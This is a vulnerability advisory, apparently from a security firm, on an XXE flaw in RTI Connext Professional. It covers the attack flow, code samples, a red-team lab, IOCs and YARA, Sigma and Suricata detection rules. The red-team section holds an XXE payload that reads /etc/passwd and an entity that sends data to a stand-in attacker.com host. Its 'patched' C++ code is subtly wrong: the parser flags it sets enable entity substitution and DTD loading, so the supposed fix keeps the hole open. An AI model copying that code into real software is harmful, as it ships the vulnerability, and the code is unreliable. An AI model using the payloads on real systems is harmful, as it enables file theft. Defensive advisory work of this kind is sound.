CVE-2025-14543

Executive Summary

CVE-2025-14543 is a critical XML External Entity (XXE) vulnerability in RTI Connext Professional, a widely used Data Distribution Service (DDS) middleware for real-time systems. The flaw resides in the Core Libraries and allows an attacker to perform Serialized Data External Linking. By crafting a malicious XML payload within serialized data, an unauthenticated attacker can force the Connext parser to resolve external entities, leading to data exfiltration, server-side request forgery (SSRF), or denial of service (DoS). The vulnerability affects multiple major versions spanning from 4.3x to 7.6.x, with patches available in 7.7.0 and 7.3.1.1. No public proof-of-concept (PoC) or exploit code has been released as of this analysis.

Supply Chain & Package Security: RTI Connext is a proprietary middleware distributed via vendor portals and embedded in industrial, defense, and automotive systems. There is no open-source package (NPM, PyPI, Go, Ruby) affected. Organizations must verify their software bill of materials (SBOM) for Connext Professional versions and apply vendor patches directly.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability type (XXE) and the potential impact (data exfiltration, SSRF, DoS), a realistic CVSS v3.1 score would be 9.1 (Critical).

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Changed (C) – the vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): High (H) – full data read access possible.
• Integrity (I): None (N) – data modification not directly possible via XXE.
• Availability (A): High (H) – DoS via resource exhaustion or system crash.

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and the affected software is often deployed in critical infrastructure (e.g., power grids, transportation, military systems). The lack of public PoC reduces immediate risk, but threat actors may develop exploits.

Deep Dive & Mechanics

The vulnerability is an Improper Restriction of XML External Entity Reference (CWE-611) in RTI Connext Professional's Core Libraries. Connext uses XML for configuration and data serialization (e.g., QoS profiles, type definitions). When parsing serialized data containing XML, the parser does not disable external entity processing.

Attack Flow:

1. An attacker sends a crafted DDS message containing an XML payload with an external entity definition.
2. The Connext parser processes the XML and resolves the external entity, which can point to:
   • A local file (e.g., file:///etc/passwd).
   • An internal network resource (e.g., http://internal-server/).
   • A large external resource for DoS (e.g., http://attacker.com/bomb.xml).
3. The resolved content is included in the parsed data, which may be reflected in logs, error messages, or application responses, allowing data exfiltration.

Affected Components: The vulnerability is in the Core Libraries, which are used by all Connext Professional applications. The XML parsing occurs during deserialization of data samples, making any Connext participant (publisher, subscriber, or service) a potential target.

Vulnerable vs. Patched Code

The exact code change is not publicly available, but the patch likely involves disabling external entity processing in the XML parser. Below is a conceptual comparison.

Vulnerable Code (C++ example):

// Using libxml2 without secure defaults
xmlDocPtr doc = xmlParseMemory(data, len);
// External entities are resolved by default
xmlNodePtr root = xmlDocGetRootElement(doc);
// Process XML...

Patched Code:

// Using libxml2 with secure parsing
xmlParserCtxtPtr ctxt = xmlNewParserCtxt();
xmlCtxtUseOptions(ctxt, XML_PARSE_NOENT | XML_PARSE_DTDLOAD);
// Disable external entity loading
xmlSetExternalEntityLoader(xmlNoNetExternalEntityLoader);
xmlDocPtr doc = xmlCtxtReadMemory(ctxt, data, len, NULL, NULL, 0);
// Process XML...

The patch ensures that external entities are not resolved, preventing XXE attacks.

Exploitation & Lab Setup

Red Team (Offensive):

• Setup: Deploy a vulnerable Connext Professional instance (e.g., version 7.4.0) on a Linux VM. Use a DDS publisher to send crafted XML payloads.
• Exploit: Craft a DDS message with an XML payload containing an XXE:

  <?xml version="1.0"?>
  <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
  <data>&xxe;</data>
  

  Send this payload to a Connext subscriber. The subscriber will parse the XML and include the contents of /etc/passwd in its output (e.g., logs or application data).
• Exfiltration: Use an out-of-band channel (e.g., HTTP request to attacker-controlled server) to exfiltrate data:

  <!ENTITY xxe SYSTEM "http://attacker.com/steal?data=file:///etc/passwd">
  

Blue Team (Defensive):

• Detection: Monitor for DDS messages containing XML DOCTYPE declarations or external entity references. Use network-based detection (see Suricata rules below).
• Honeypot: Deploy a decoy Connext subscriber that logs all incoming XML payloads. Alert on any payload containing <!ENTITY or SYSTEM.
• Mitigation: Apply vendor patches immediately. If patching is delayed, use a network firewall to restrict DDS traffic (port 7400) to trusted IPs only.

Indicators of Compromise (IOCs)

• Network: DDS messages (UDP/TCP port 7400) containing XML with <!DOCTYPE, <!ENTITY, or SYSTEM keywords.
• Logs: Application logs showing file paths (e.g., /etc/passwd) or unexpected HTTP requests to external domains.
• File System: Temporary files created by the XML parser (e.g., /tmp/xxe*).
• Process: Connext processes (rti_connext, ndds) with high CPU or memory usage due to DoS via XXE.

Detection Engineering

YARA Rule

rule CVE_2025_14543_XXE_Payload {
    meta:
        description = "Detects XXE payloads targeting RTI Connext Professional"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-14543"
    strings:
        $xml_decl = "<?xml"
        $doctype = "<!DOCTYPE"
        $entity = "<!ENTITY"
        $system = "SYSTEM"
        $file_scheme = "file://"
        $http_scheme = "http://"
    condition:
        $xml_decl and $doctype and $entity and ($system or $file_scheme or $http_scheme)
}

Sigma Rule

title: CVE-2025-14543 XXE in RTI Connext DDS Traffic
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects network traffic containing XXE payloads targeting RTI Connext Professional
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 7400
        payload|contains:
            - '<?xml'
            - '<!DOCTYPE'
            - '<!ENTITY'
            - 'SYSTEM'
            - 'file://'
            - 'http://'
    condition: selection
falsepositives:
    - Legitimate XML configuration files with external entities (rare)
level: high

Suricata Rule

alert udp any any -> any 7400 (msg:"CVE-2025-14543 XXE in RTI Connext DDS"; content:"<?xml"; content:"<!DOCTYPE"; content:"<!ENTITY"; content:"SYSTEM"; within:1024; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade to Connext Professional 7.7.0 or 7.3.1.1. For older branches, contact RTI support for hotfixes.
2. Workaround: If patching is not possible, disable XML external entity processing in the application configuration (if supported) or use a network firewall to restrict DDS traffic to trusted sources.
3. Monitoring: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.
4. Incident Response: If exploitation is suspected, isolate affected systems, review logs for data exfiltration, and rotate any exposed credentials.

Valters IT

{/* [Security Hash: 748C6584D40F87A9DF636C60] */}